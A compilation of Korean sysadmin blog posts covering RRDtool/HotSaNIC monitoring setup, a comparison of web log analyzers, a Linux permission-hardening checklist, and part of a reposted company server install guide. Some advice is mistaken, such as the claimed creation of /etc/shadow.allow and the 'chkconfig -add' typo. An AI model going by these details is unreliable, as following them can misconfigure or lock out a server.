found: eth0 - (y)es or (n)o ? y

found: lo - (y)es or (n)o ? n


Please check the settings file and adapt it to satisfy your needs.
If you have any interfaces slower than 100 MBit, please change the
corrosponding default values.

... 중략 ...

Module found: WORMS  ... 중략 ...
----------------------------------------
Ok.
Writing main settings ...
 checking for OS-type (current: not configured)
OSTYPE="Linux"
 checking path to "rrdtimer" (current: not configured)
DAEMONDIR="/usr/local/HotSaNIC"
 checking path to "rrdtool" (current: not configured)
the following possibilities have been detected:
0 /usr/bin
1 /usr/local/rrdtool/bin

which one shall i use (0=default ... 1) ? > 1 ( rrdtool이 2군데 설치된 경우이다.)
BINPATH="/usr/local/rrdtool/bin" (RRDtool 실행이 있는 디렉토리)
LOGDIR="$DAEMONDIR/var/log/"   (로그가 저장될 디렉토리)
PIDFILE="$DAEMONDIR/var/rrdtimer.pid"
DIAGRAMLOG="last"
LOGSIZE="200000"
LOGBACKUPS="5"
DEBUGLEVEL="-1"
STIME="120"
SCHEDULE_MIN="100"
SCHEDULE_MAX="200"
RUN="apcusv apps diskio dnet networks part ping sensors shoutcast system traffic worm
s"
WEBDIR="not configured"
WIDTH="600"
HEIGHT="200"
IMAGEFORMAT="gif"
SHOW="apcusv apps diskio dnet networks part ping sensors shoutcast system traffic wor
ms"
ORDER="traffic system part ping dnet sensors"
DTIME="15" (15분 간격으로 이미지를 갱신한다.)
CTIME="24" (24시간 간격으로 통계화면 메인에 표시될 작은 크기의 이미지를 갱신한다.)
 guessing convert method...
 checking for Image::Magick perl module... not found
 checking path to "convert" from ImageMagick (current: not configured)
detected: /usr/bin/convert
is this corrrect? (y)
 checking path to "snmpwalk" (current: not configured)
detected: /usr/bin/snmpwalk
is this corrrect? (y)
SNMPWALK="/usr/bin/snmpwalk"
 checking path to "snmpget" (current: not configured)
detected: /usr/bin/snmpget
is this corrrect? (y)
SNMPGET="/usr/bin/snmpget"
checking path to "snmpbulkwalk" (current: not configured)
detected: /usr/bin/snmpbulkwalk
is this corrrect? (y)
SNMPBULKWALK="/usr/bin/snmpbulkwalk"

--- Main settings generated. ---

Writing start/stop script "rrdgraph" ... Ok.

Now adapt all settings files to satisfy your needs.
They are all linked to the directory /var/settings .


3) 필요한 디렉토리 생성

이제 RRDtool의 웹용 이미지와 html이 저장될 디렉토리와 로그 파일 저장 디렉토리를 생성한다.
디폴트로 로그는 HoSaNIC 홈의 var/log에 생성된다.
(html 홈은 /usr/local/apache/htdocs/ 라고 가정)


# mkdir /usr/local/apache/htdocs/rrdtool
# mkdir var/log


4) 환경 파일의 주요 설정

HoSaNIC 홈/settings가 주 설정 파일이고
HoSaNIC 홈/modules/모듈명/settings는 각 모듈별 설정 파일이다.

주 settings 파일에서 주요 설정을 살펴보자.(반드시 확인할 것에 * 표시해둠)


# BINPATH  = rrdtool 실행 파일이 있는 경로 (*)
BINPATH="/usr/local/rrdtool/bin"

# LOGDIR   = HoSaNIC의 로그 파일 경로
# LOGSIZE  = 로그 파일 크기
# LOGBACKUPS = 지정한 개수만큼 로그는 로데이터션되어 백업된다.
#       로그 파일명은 HotSaNIC.log, HotSaNIC.log.1, ...
LOGDIR="$DAEMONDIR/var/log/"
LOGSIZE="200000"
LOGBACKUPS="5"

# RUN  = 실행할 모듈 목록 (*)
# SHOW = 웹페이지로 표시할 모듈 목록 (*)
# ORDER = 표시할 모듈의 순서를 지정(먼저 쓴 것부터 왼쪽에 표시함)
RUN="apps diskio networks part ping sensors system traffic"
SHOW="apps diskio networks part ping sensors system traffic"
ORDER="traffic system part ping sensors"

# WEBDIR   = 생성된 이미지, html이 저장될 디렉토리 (*)
# IMAGEFORMAT = 이미지 파일 형식 (gif 또는 png)
WEBDIR="/usr/local/apache/htdocs/rrdtool"
IMAGEFORMAT="gif"

# DTIME = 지정한 간격으로 이미지를 생성한다. (단위는 분)
# CTIME = 지정한 간격으로 모니터링 메인화면의 작은 이미지를 생성한다. (단위는 시간)
#     따라서 처음 설치한 후 지정한 시간내에 convert.pl 명령을 하지 않으면 메인화면의
#     이미지는 최소 지정 시간동안 볼 수 없다.
DTIME="15"
CTIME="24"

# CONVERTPATH = ImageMagick 를 사용하여 이미지를 생성한다. convert 경로를 지정한다.
CONVERTPATH="/usr/bin/convert"

# REFRESH = 지정한 초단위로 웹페이지를 리프레쉬해서 보여준다. 기본 300초(5분)
REFRESH="300"



각 모듈별 설정은 해당 디렉토리의 settings을 보면 자세히 설명이 되어 있다.
여기서는 ping, diskio, apps에 대해서만 예를 들어본다.

* ping 모듈 ( HoSaNIC홈/modules/ping/settings )

 192.168.123.15(파일서버)에 대해 ping을 한다면, 다음을 추가하면 된다.


HOST=192.168.123.15,File Server


 설정했는데 ping 이미지가 생성안된다면 '5. 문제해결'에 해결방법을 설명해뒀다.

* diskio 모듈 ( HoSaNIC홈/modules/ping/settings )

/proc/stat 에서 disk_io 라인을 살펴보면 다음과 같이 되어 있다.

disk_io: (2,0):(1,1,2,0,0) (3,0):(306090,39930,942826,266160,5212040)
(3,1):(55015,28746,1435800,26269,909568) (8,0):(50,50,253,0,0)

여기서 (3,0) = hda, (3,1) = hdb, (8,0) = sda를 각각 의미한다.
따라서 hda와 hdb의 disk 입출력을 보려면 다음과 같이 설정한다.


DEV=3_0,hda
DEV=3_1,hdb


* apps 모듈 ( HoSaNIC/modules/apps/settings )


APP=httpd,Apache
APP=sendmail,Sendmail
APP=mysqld,Mysql Server
APP=hanterm,hanterm
APP=xmms,xmms
APP=MozillaFirebird-bin,Mozilla Web Browser


5) 실행

자~ 이제 웹페이지를 생성하고 rrdgraph만 실행하면 모니터링할 수 있다.


# ./makeindex.pl
# ./rrdgraph start



이제 웹브라우저를 띄우고 보면 된다. 아직 이미지도 안나온는데 뭘 보라는 것일까?
최소 15분(settings의 DTIME)이 지내야 모듈내의 큰 이미지들이 생성되고
24시간(CTIME)이 지나면 메인의 작은 이미지가 보일 것이다.
24시간 전이라도 적당한 시기에 ./convert.pl을 실행하면 메인에서도 이미지를 볼 수 있다.

부팅할 때 자동으로 rrdgraph가 실행되록 하려면 어떻게 해야할까?
rrdgraph 스크립트를 /etc/rc.d/init.d 에 복사를 한 후 chkconfig로 서비스를 추가한다.


# cp rrdgraph /etc/rc.d/init.d
# chkconfig -add rrdgraph



4. RRDtool 직접 다루기

HoSaNIC은 이미 정해진 모듈을 통해서 RRDtool을 다루는 것이다.
이제 시스템관리자가 원하는 데이터를 RRDtool로 직접 조작하여 통계용 이미지를 생성하는
방법을 알아본다. 간단히 과정을 정리해보면.

- RRDtool용 자체 DB(일반적으로 .rrd로 지정)를 생성한다.(create) ->
- 데이터를 업데이트하거나 (update) 가져온다.(fetch) ->
- 이미지를 생성한다. (graph)

1) rrdtool 명령 익히기

DB 생성, 이미지 만드는 것은 모두 RRDtool홈/bin/rrdtool 명령을 통해서 한다.


* 형식 : rrdtool [명령] [명령 옵션...]
* 예  : rrdtool create coffeenix_status.rrd DS:....


rrdtool에서 사용 가능한 명령은 무엇이 있을까?


---------- -----------------------------------------------------------------------
명 령   설 명
---------- -----------------------------------------------------------------------
create   새로운 RRD DB를 만든다.
update   DB에 새 데이터를 저장한다.
graph    저장된 DB자료를 이용해서 이미지를 생성한다. (.gif 또는 .png)
dump    RRD DB의 데이터를 XML 포맷으로 뽑아준다.
restore   XML 포맷에서 RRD DB로 저장한다.
fetch    RRD DB에서 데이터를 얻어온다.
tune    RRD DB의 설정을 변경한다.
last    RRD DB의 최종 업데이트 시간을 알려준다.
info    RRD DB의 헤더 정보를 보여준다. (파일명, 최근업데이트일, 설정값...)
rrdresize  RRA 크기를 변경한다. 가능하면 사용하지 말기를
xport    RRD DB의 데이터를 XML 포맷으로 뽑아준다. (출력 포맷 지정)
---------- -----------------------------------------------------------------------


2) 샘플 DB 생성

3) 이미지 만들기

5. 문제 해결

1) HoSaNIC 로그 파일을 보니 Can't locate RRDs.pm in @INC (@INC contains... 오류가 있습니다.

  RRDtool 설치할 때 make site-perl-install 를 하지 않아 RRDs.pm 펄 모듈이
  설치되지 않아서 입니다.
  RRDtool 소스 디렉토리에 가서 make site-perl-install을 하세요.
 
2) makeindex.pl 실행할 때 다음 오류가 발행합니다.
  WEBDIR (path to HotSaNIC's output directory) does not exist.

  시스템 모니터링 결과가 저장될 웹디렉토리를 생성하지 않았다.
  위 글중 '3 - 3) 필요한 디렉토리 생성'을 확인해봐라.

3) 시간이 한참지났는데 ping 이미지가 생성이 안됩니다. 물론 ping설정은 했습니다.
  로그를 보니 Can't locate asm/unistd.ph in @INC (did you run h2ph?).. 가 있습니다.

  펄용 헤더 파일이 없기 때문입니다. 펄 헤더로 변환해주는 h2ph로 해결할 수 있습니다.

  cd /usr/include; h2ph -r -l .

6. 이용 사례

  • http://kornet.hanirc.org/chanstat/
     HanIRC의 채널별 사용자 통계를 보여준다. 5분간격의 데이터를 1시간 단위로 자동 업데이트한다.
     장혜식님의 py-rrdtool을 사용한 페이지
    http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/gallery/

    * 참고 자료
  • RRDtool 매뉴얼
     
    http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/manual/index.html
  • itup님의 RRDtool 튜토리얼, 논문 자료
     
    http://myhome.hanafos.com/~itup/index.html
     
  • 이은태님의 'RRDTool로 서버의 상황을 파악하자.'
     
    http://kltp.kldp.org/stories.php?story=03/02/13/1717339

  •  
    Posted by tornado
    |

     

    웹 로그분석의 절대강자는?

     

    웹 로그분석은 말그대로 아파치나 IIS 웹 서버들이 남겨놓은 웹 서버 접속 정보를 바탕으로 이를 분석하고 통계를 내어 보기좋게 출력하는 것을 말한다. 오픈소스 OS인 리눅스와 역시 오픈소스 웹서버인 아파치를 많이 사용하는 인터넷 환경에서 웹 로그분석의 중요성은 두말할 필요가 없다 하겠다. 1998년까지만 하더라도 제대로 된 리눅스용 웹 로그분석기가 없어서 기업 시장에 제대로 접근하기가 힘들었지만 요즘에는 적지 않은 웹 로그분석기들이 나와있어 오히려 어떤 걸 선택해야할지 고민해야하는 시점에 이르렀으니 참 격세지감이 아닐 수 없다.

    레드햇 리눅스 9에 기본으로 깔려있는 분석기는 웹얼라이저(Webalizer)인데 간단한 기능을 가지고 있어 간편하게 사용할 수 있다. 이보다 훨씬 많은 분석과 통계를 제공하는 소프트웨어로는 AW스테이츠(AWStats)가 있고, 이 중간쯤에서 비주얼한 보고서를 출력하는 것으로는 아날로그(Analog)가 있는데 이 소프트웨어는 비주얼한 보고서를 출력하는 리포트매직(Report Magic)이라는 소프트웨어와 연동해서 움직인다.

    여기서는 대표적인 웹로그 분석 오픈소스 소프트웨어인 웹얼라이저와 AW스테이츠, 아날로그+리포트매직을 살펴보도록 하겠다.

    1.웹얼라이저 (GPL)

    웹얼라이저는 기본으로 설치되어 있거나, 또는 CD만 집어넣어 다시 설치할 수 있는 경우가 많아서 설치한 후에 설정파일만 손보면 비교적 쉽게 사용할 수 있어서 아주 편리하다.

    웹얼라이저가 제공하는 기능에는 어떤 것들이 있는지 살펴보자.




    (홈페이지: http://www.mrunix.net/webalizer/)

    메시지가 한글로 번역된 버전: http://www.oops.org ftp://mirror.oops.org/pub/Linux


    공식 사이트에서 소프트웨어를 내려받아도 되고 김정균님이 메시지를 한글로 번역한 소프트웨어를 내려받아 설치할 수도 있다.



    (웹얼라이저가 분석하고 통계를 낸 웹 화면1)



    (웹얼라이저가 분석하고 통계를 낸 웹 화면2)


    웹얼라이저는 C로 작성되어 있어 실행이 아주 빠른 반면 기능이 비교적 적다. 제공하는 기능은 다음과 같다.

    월별 통계 (총 히트수, 파일수, 페이지수, 방문자수, 데이터 전송량 및 평균/최대값)
    응답코드
    일별 통계(그래프 및 표)
    시간별 통계(그래프 및 표)
    히트 URL 순위
    접속 시작/종료에 사용된 주요 페이지
    페이지 참조 통계
    접속시 사용한 웹브라우저 및 OS (아주 간단히)


    위와 같이 비교적 기본 기능을 제공하는데, 아울러 제공하는 그래프는 그리 세련되지는 않다.


    2.AW스테이츠 (GPL)




    (공식 페이지: http://awstats.sourceforge.net/)


    AW스테이츠는 Perl 스크립트로 만든 로그분석기로 비교적 많은 기능을 제공한다. 언뜻 보기에는 웹 서버가 남겨놓은 로그를 하나도 남김없이 분석하고 통계를 낸다는 느낌마저 들 정도다. 일목요연한 출력에 비교적 깔끔한 그래프와 표를 보여주지만 그래프를 보면 항목과 떨어져있어 한눈에 이해되지 않는다는 단점이 있다.



    (데모 페이지: http://awstats.sourceforge.net/cgi-bin/awstats.pl)


    AW스테이츠는 데모 페이지를 따로 마련해두었는데 위 페이지를 접속하면 소프트웨어를 내려받아 사용하기 전에 마음껏 기능을 음미해볼 수 있어 아주 편리하다.

    제공하는 분석 및 통계 내용을 잠깐 살펴보면 다음과 같다.

    간단한 전체 요약 및 월별 통계 (순 사용자, 방문횟수, 페이지수, 히트수, 전송용량)
    상기 항목에 대한 일별(4 항목)/요일별 통계(3 항목=페이지, 히트, 용량)
    시간별 통계 (3 항목)
    접속 국가 (3 항목)
    접속 호스트 (3 항목 + 최종 접속 일시)
    로봇/스파이더 방문자 (히트수, 데이터용량, 최종 방문 일시)
    접속해서 끊기까지의 시간
    파일 타입(php, html, asp 등에 대한 히트수, 전송용량 등)
    많이 본 페이지 URL, 접속 및 끊기 시 사용된 페이지
    운영체제 (히트수 및 비중)
    브라우저
    경유 사이트(다이렉트/북마크, 뉴스그룹 링크, 인터넷 서치 엔진 경유, 서치 엔진 이외 다른 사이트 경유)
    검색에 사용된 단어 및 구절
    HTTP 응답 코드





    웹얼라이저에 비해 아주 자세한 통계를 보여주고 있음을 알 수 있다. 특히 로봇/스파이더 방문자를 순 방문자와 구별하여 통계를 내어주는 것은 AW스테이츠의 장점이라 할 수 있다. 또한 경유 사이트에 대한 자세한 분석은 실제 기업 마케팅에서 활용할 수 있는 부분이 있다.

    아울러 AW스테이츠는 웹서버 뿐만 아니라 FTP, 메일 서버까지 분석해준다.



    (메일 서버 분석 통계)


    3.아날로그 + 리포트매직

    아날로그는 개인이 소유하고 있는 공개 소프트웨어로 GPL과는 달리 배포 및 수정에 제한을 두고 있다. 또한 아날로그와 연결하여 사용하는 리포트 매직은 개인 소유를 기본으로 'Artistic License'를 가지고 있다. 따라서 이 두 소프트웨어는 GPL과는 거리가 있지만 기업이나 개인이 사용하는 데는 별 문제가 없어 보인다.



    (아날로그 공식 페이지: http://www.analog.cx/)



    (리포트매직 공식 페이지: http://www.reportmagic.org/)


    리포트매직 사이트는 아날로그와 리포트매직을 함께 사용해서 데모를 시연하고 있다.



    (데모 사이트: http://www.reportmagic.org/sample/index.html)



    (운영체제 통계)


    리포트매직이 제공하는 정보의 양은 웹얼라이즈와 AW스테이츠 중간 정도다. 구체적으로는 다음과 같다.

    통계 요약 및 주간/일별/시간별 보고서
    접속 도메인/단체
    실패한 참조 및 경유 사이트
    검색에 사용된 단어
    브라우저/운영체제
    응답코드
    파일크기, 파일 타입, 디렉토리 보고
    실패한 요청
    접속 페이지 및 파일


    전체적으로 깔끔하고 고급스러운 3D 그래프와 파이는 매력적이지만 항목별로 자세하지 않은 정보라든지 언급되지 않은 항목도 있어 아쉬움을 남긴다.


    4.웹로그 분석기의 강자는?


    무릇 소프트웨어는 사용 용도와 사용자의 의도에 맞으면 그것이 최고다. 기능이 많든 적든 그림이 멋지든 안 멋지든에 상관없이 말이다. 그런 점에서 본다면 지금까지 살펴본 웹얼라이저와 AW스테이츠, 아날로그는 나름대로 일장일단을 가지고 있다.



    (주요 웹로그 소프트웨어의 기능을 정밀하게 비교 분석해놓은 AW스테이츠 메인 페이지)


    상기 사이트는 주요 웹로그 소프트웨어들(지금까지 살펴본 세 가지 소프트웨어 + 히트박스)의 기능을 정밀하게 비교 분석하고 있다. 자신에게 알맞는 소프트웨어를 결정하기 전에 필요한 기능을 미리 확인해보면 도움이 될 것이다.

    이중에서 굳이 강자를 뽑아야한다면 AW스테이츠의 손을 들어주고 싶다. 아주 자세하고 꼼꼼한 정보는 웹 사이트 운영자에게 단순한 정보제공뿐만이 아니라 웹 사이트를 활성화할 수 있는 방안을 생각하는 데 기초자료를 제공해준다. 그리고 웹 서버 뿐만 아니라 메일 서버, FTP 서버에 대한 통계는 또 나름대로 쓰일 일이 있을지도 모른다.

    정밀한 접속 분석/통계를 필요로 하는 본격 웹 사이트에는 AW스테이츠를, 간단한 정보를 간편히 보고 싶은 사이트에는 웹얼라이즈를, 멋진 그래프와 고급스러운 디자인이 우선이라면 아날로그를 권하고 싶다.

    지금까지 살펴본 소프트웨어들은 대다수 소스를 함께 제공한다. 따라서 저작권에 따라 다소 다르겠지만 자유 소프트웨어인 경우 소스를 고쳐 자신의 웹 사이트에 적용하거나 아니면 이를 필요로하는 고객들에게 공급해줄 수도 있겠다.

    자유 소프트웨어와 함께 즐거운 삶이 되기를!

     

    OSS로고

     

    Posted by tornado
    |
    흔히들 리눅스를 설치하고 그냥 외부에 공개해버리는 서버들이 간혹있습니다.
    이에 따른 버그조차조 패치를 않하고 기본적으로 사용을 하는 분들이 많이
    있는데 이는 잘못된 생각이며, 버젼별로 버그 패치를 꼭 해주셔야 합니다.
    또한 각종 remote bug가 허용되는것들은 조심을 하셔야 한다고 생각되며
    아래에 보안 리눅스 디폴트 퍼미션을 공개합니다. 마음대로 설정은 하셔도
    되며 저에게는 어떠한 책임이 없음을 여기서 밝혀드립니다.

    ▶ 표준 보안 퍼미션 설정
    /bin/ root.root 711
    /boot/ root.root 700
    /dev/ root.root 711
    /dev/audio* root.audio 600
    /dev/dsp* root.audio 600
    /etc/ root.adm 711
    /etc/conf.modules root.adm 640
    /etc/cron.daily/ root.adm 750
    /etc/cron.hourly/ root.adm 750
    /etc/cron.monthly/ root.adm 750
    /etc/cron.weekly/ root.adm 750
    /etc/crontab root.adm 640
    /etc/dhcpcd/ root.adm 750
    /etc/dhcpcd/* root.adm 640
    /etc/esd.conf root.audio 640
    /etc/ftpaccess root.adm 640
    /etc/ftpconversions root.adm 640
    /etc/ftpgroups root.adm 640
    /etc/ftphosts root.adm 640
    /etc/ftpusers root.adm 640
    /etc/gettydefs root.adm 640
    /etc/hosts.allow root.adm 640
    /etc/hosts.deny root.adm 640
    /etc/hosts.equiv root.adm 640
    /etc/inetd.conf root.adm 640
    /etc/rc.d/init.d/ root.adm 750
    /etc/rc.d/init.d/syslog root.adm 740
    /etc/inittab root.adm 640
    /etc/ld.so.conf root.adm 640
    /etc/lilo.conf root.adm 600
    /etc/modules.conf root.adm 640
    /etc/motd root.adm 644
    /etc/printcap root.lp 640
    /etc/profile root.root 644
    /etc/rc.d/ root.adm 640
    /etc/securetty root.adm 640
    /etc/sendmail.cf root.adm 640
    /etc/shutdown.allow root.root 600
    /etc/ssh_config root.root 644
    /etc/ssh_host_key root.adm 640
    /etc/ssh_host_key.pub root.adm 644
    /etc/sshd_config root.adm 640
    /etc/syslog.conf root.adm 640
    /etc/updatedb.conf root.adm 640
    /home/ root.adm 751
    /home/* current 700
    /lib/ root.adm 751
    /mnt/ root.adm 750
    /root/ root.root 700
    /sbin/ root.adm 751
    /tmp/ root.root 1777
    /usr/ root.adm 751
    /usr/* root.adm 751
    /usr/X11R6/ root.xgrp 751
    /usr/bin/ root.adm 751
    /usr/bin/* root.root 755
    /usr/sbin/ root.adm 751
    /usr/sbin/* root.root 755
    /var/ root.root 755
    /var/log/ root.root 711
    /var/log/* root.root 600
    /var/spool/mail/ root.mail 771

    ▶툴들에 대한 퍼미션 설정

    1. 컴파일 툴들의 퍼미션 설정
    chmod 0700 /usr/bin/gcc
    chmod 0700 /usr/bin/g++
    chmod 0700 /usr/bin/cc
    chmod 0700 /usr/bin/colorgcc

    2. 시스템 툴들의 퍼미션 설정
    chmod 0700 /usr/bin/w
    chmod 0700 /usr/bin/who
    chmod 0700 /usr/bin/finger

    3. 네트워크 툴들의 퍼미션 설정
    chmod 0700 /bin/ping
    chmod 0700 /usr/bin/telnet (이나 아마 /bin/telnet일겁니다.)
    chmod 0700 /usr/bin/ssh (만일 여러분이 ssh를 설치하였다면)
    chmod 0700 /usr/sbin/traceroute

    ▶물리적 보안
    보통 서버가 외부 사람이 많이 오는곳에 설치되어있다면 그 사람들중에
    물리적 크래킹을 하기위하여 다가오는 분들이 많이 있습니다. 이에 방어
    할수 있는것은 바로 lilo와 root로 조인을 못하게 설정하는것입니다.

    1. lilo.conf의 설정
    /etc/lilo.conf 의 맨위에다가 아래와 같이 설정을 합니다.
    #My LILO password
    password=foobar <-- 비번입니다.

    저장을 하고 나서,
    chmod a-r /etc/lilo.conf
    아무도 못보게 설정을 합니다.

    그다음 /sbin/lilo를 구동시켜 새로운 설정을 적용시킵니다.

    2. /etc/inittab 의 설정
    로컬에서는 루트로도 접근이 가능합니다.
    허나 이를 막기 위하여 이 파일을 수정하셔야 합니다.
    ca::ctrlaltdel:/sbin/shutdown -t3 -r now
    이라고 보이실겁니다. 이것을 아래와 같이 변경을 합니다.
    ca::ctrlaltdel:/sbin/shutdown -a -t3 -r now
    저장을 하시고 나서 아래와 같이 명령어를 수행합니다.
    #telinit q
    #
    위와 같이 한후에 보시게 되면 /etc/에 shadow.allow가 만들어질것입니다.
    그것이 있다면 아무나 리부팅을 못하는것이죠.

    3./etc/securetty 의 설정
    /etc/securetty 파일을 열게 되면 아마도 아래와 같이 있을것입니다.

    # /etc/securetty
    tty1
    tty2
    tty3
    tty4
    tty5
    tty6

    이것은 로컬에서 root로 들어올수 있는것이죠.
    그래서 이것을 막게 하는것입니다. 그래야 공개된 석상에서 아무도 root를
    뚫고 들어오지를 못할테니까여... 설령 linux single로도...
    그래서 아래와 같이 설정을 합니다.
    # /etc/securetty
    #tty1
    #tty2
    #tty3
    #tty4
    #tty5
    #tty6

    이후에 telinit q를 실행하여 지금 방금 설정한것에 대한 적용을
    시킵니다.
    그후 로그인을 해봅니다.
    Kernel 2.2.13-pre3 on an i686 / tty3
    H4cker login: root
    Password:
    Login incorrect

    login: root
    Password:
    Login incorrect

    Done, root is not allowed login.

    위와 같이 떨어지겠죠? 그렇다면 아무리 공개된 석상에 서버를 가져다 놓아도
    크래킹 당할 염려가 없답니다. 그사람이 암호를 알지 못하는 이상...
    그럼 즐~~
    Posted by tornado
    |

    [펌]출처 기억안남 없음..........단지 (주)소리아이 서버란것 뿐

     

     

    ********************************************************************************* Linux 기반의 서버 설치 및 셋팅                                               *********************************************************************************    최초 설치    우선 하드의 배드섹터를 체크하고 수정한다.    iptables로 방화벽 구성    사용자 계정을 한 곳에서 관리하기 위해 NIS 설치    윈도우 클라이언트에서 쉽게 접근 가능하도록 삼바 설정    원격에서 X윈도우로 관리가 가능한 TightVNC를 설치한다. (기존의 VNC는 사용하지 않음)    콘솔에서 한글을 사용하기 위해 jfbterm 설치 (콘솔 한글이 안될 경우)    한글 man페이지 지원을 위한 less 재설치 (man 페이지가 정상적이지 않을 경우)    도메인 네임 서버 설정    타임 서비스와 시간 동기화 (네트웤 타임 동기화가 없을 경우)    메일 서버와 메일 백신 설정    메일 서버를 제외한 서버들의 백신 설정    FTP 서버 설정    Web 서버 설정    사용자 계정 관리용 스크립트 제작 사용    -- rulemaker 소스 ----------------------------------------------    -- 서비스별 포트 번호 참고 -------------------------------------    -- 마스터 smb.conf 소스 ----------------------------------------    -- 슬레이브 smb.conf 소스 --------------------------------------    -- perl 정규식 참고 --------------------------------------------    -- SoriiMilter.pl 소스 -----------------------------------------    -- userman 소스 ------------------------------------------------    -- mkgrpmail 소스 ----------------------------------------------================================================================================최초 설치--------------------------------------------------------------------------------서버의 구성  ├ns.sorii.com - DNS,NIS(S),SMB(S) / SSH,VNC  ││             도메인 네임 서버  │└home  │  └sorii [sorii:sorii/770] - 서버 관리용 공유 폴더  │  ├home.sorii.com,ftp.sorii.com - WWW,FTP,NIS(M),SMB(M) / SSH,VNC  ││                             사내 ftp와 홈페이지 공간  │└home  │  ├sorii       [sorii:sorii/777]  - 전체, 외부 사용자 공유 폴더  │  ├manage      [root:manage/770]  - 기획/관리자 그룹 전용 폴더  │  │└사용자    [이름:manage/750]  │  ├develop     [root:develop/770] - 개발자 그룹 전용 폴더  │  │└사용자    [이름:develop/750]  │  ├design      [root:design/770]  - 디자이너 그룹 전용 폴더  │  │└사용자    [이름:design/750]  │  └public_html [root:sorii/771]   - 개인 홈페이지 전용 폴더  │  ├mail.sorii.com - MAIL,NIS(C),SMB(S) / SSH,VNC  ││               메일 서버  │└home  │  └sorii [sorii:sorii/770] - 서버 관리용 공유 폴더  │  ├wireless.sorii.com - DHCP / Web  │                     무선 인터넷 테스트용 공유기  │  └lan.sorii.com - DHCP / SSH                    내부 네트웤 구성용 인터넷 공유기서버 선택자동 파티션 구성네트웤 설정, 방화벽 없음추가적으로 다음 파티션을 따로 구성하여 루트가 꽉차는 것을 방지한다.    /boot - 부팅 시스템들. : 첫번째 파티션! 50~100MB    /var  - 시스템 로그 파티션 : 400MB~1GB    /     - 시스템 루트 : 3GB~6GB    /home - 사용자 공간 : 채움 또는 /에 포함관리용 독립된 계정 하나 추가    id  : soriiSSH로 접속하여 관리할 때 sorii계정으로 먼저 접속한 후 다음 명령으로 root에 들어간다    # su -아래에 나열된 내용중의 버전 번호는 시스템 상태에 따라 다를 수 있다.================================================================================우선 하드의 배드섹터를 체크하고 수정한다.--------------------------------------------------------------------------------복구용 RIP 리눅스를 준비한다.CD나 플로피를 넣고 부팅한다.배드블록을 체크하고 발견하면 수정하기    # e2fsck -cy /dev/hda1    # e2fsck -cy /dev/hda2 ...완료 후엔 재부팅    # reboot정상 시스템에서 부팅시 재검사를 요구한다면 다시 검사해 준다.================================================================================iptables로 방화벽 구성--------------------------------------------------------------------------------이전의 방화벽 설정을 확인    # iptables -L방화벽 룰 생성 스크립트 작성    # vi /usr/bin/rulemaker-첨부된 rulemaker 소스 참고-------------------------------------    # chmod 700 /usr/bin/rulemaker방화벽 룰 생성용 자료 파일 작성    # vi ipdata-다음 중 적당한 내용을 골라서 추가------------------------------
    d:tcp:20d:tcp:21d:tcp:25d:tcp:53d:udp:53s:tcp:53s:udp:53d:tcp:80d:tcp:110d:tcp:143d:tcp:220d:tcp:465d:tcp:993d:tcp:995.218.235.99.62218.235.99.63218.235.99.64218.235.99.65218.235.99.66218.235.99.67218.235.99.68218.235.99.69218.235.99.70218.235.99.71218.235.99.72218.235.99.73218.235.99.74218.235.99.76.# 데이타 중간엔 주석이 들어가선 안된다.# 여기서부터는 주석포트를 열때는 가능한 적게 열어 외부 서비스를 구성하고신뢰하는 IP를 적당히 열어서 내부 서비스를 구성한다.포트를 여는 형식은 '<s|d>:[tcp|udp]:[포트]'제일 앞의 s는 소스 포트를 허용할 때 d는 현재 호스트의 목적 포트를 허용할 때's:udp:53'은 반드시 있어야 dns 응답을 받을 수 있다.ftp-data    20/tcpftp         21/tcpssh         22/tcp                      # SSH Remote Login Protocoltelnet      23/tcpsmtp        25/tcp      mailtime        37/tcp      timservernameserver  42/tcp      name            # IEN 116domain      53/tcp                      # name-domain serverdomain      53/udp                      # name-domain serverhttp        80/tcp      www www-http    # WorldWideWeb HTTPpop3        110/tcp     pop-3           # POP version 3imap        143/tcp     imap2           # Interim Mail Access Proto v2imap3       220/tcp                     # Interactive Mail Accesssmtps       465/tcp                     # SMTP over SSL (TLS)imaps       993/tcp                     # IMAP over SSLpop3s       995/tcp                     # POP-3 over SSL
    ----------------------------------------------------------------방화벽 설정용 스크립트 생성    # rulemaker -i ipdata -o /etc/sysconfig/ipfilter    # chmod 700 /etc/sysconfig/ipfilter실행 및 확인    # /etc/sysconfig/ipfilter    # iptables -L재부팅시 자동으로 실행되게 추가    # vi /etc/rc.local-다음을 마지막에 추가-------------------------------------------
    /etc/sysconfig/ipfilter
    ----------------------------------------------------------------브로드캐스팅 핑 막기    # echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts    재부팅 해도 막도록 rc.local에 추가    # vi /etc/rc.local-다음을 마지막에 추가-------------------------------------------
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
    ----------------------------------------------------------------DNS버전 정보 감추기    # vi /etc/named.conf-다음을 확인 및 수정--------------------------------------------
    options {    version "unknown";  //버전 정보 감추기    directory "/var/named";};
    -----------------------------------------------------------------첨부된 서비스별 포트 번호 참고---------------------------------================================================================================사용자 계정을 한 곳에서 관리하기 위해 NIS 설치--------------------------------------------------------------------------------NIS는 다음과 같이 설치된다.    도메인 이름   : sorii-lan    마스터 서버   : home.sorii.com    슬래이브 서버 : ns.sorii.com    클라이언트    : 218.235.99.*이후의 작업에 영향을 주도록 도메인 설정    # domainname sorii-lan[ 마스터, 슬레이브, 클라이언트 공통 ]NIS도메인 추가    # vi /etc/sysconfig/network-다음을 마지막에 추가-------------------------------------------
    NISDOMAIN=sorii-lan
    ----------------------------------------------------------------호스트 바로가기 추가    # vi /etc/hosts-다음을 마지막에 추가-------------------------------------------
    218.235.99.62 ns.sorii.com ns218.235.99.63 home.sorii.com home
    ----------------------------------------------------------------NIS를 통한 서비스 가능성 추가    # vi /etc/nsswitch.conf    가능한 모든 항목 뒤에 'nis'를 추가    모든 서버가 동일한 항목에 대해 nis 설정NIS 사용자 처리가 가능하도록 추가    # vi /etc/passwd-다음을 마지막에 추가-------------------------------------------
    +::::::
    ----------------------------------------------------------------재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep ypbind    목록에 없으면 추가한다.    # chkconfig --add ypbind    서비스를 활성 시킨다.    # chkconfig ypbind on[ 마스터, 슬레이브 공통 ]허가권 설정    # vi /var/yp/securents-다음을 작성----------------------------------------------------
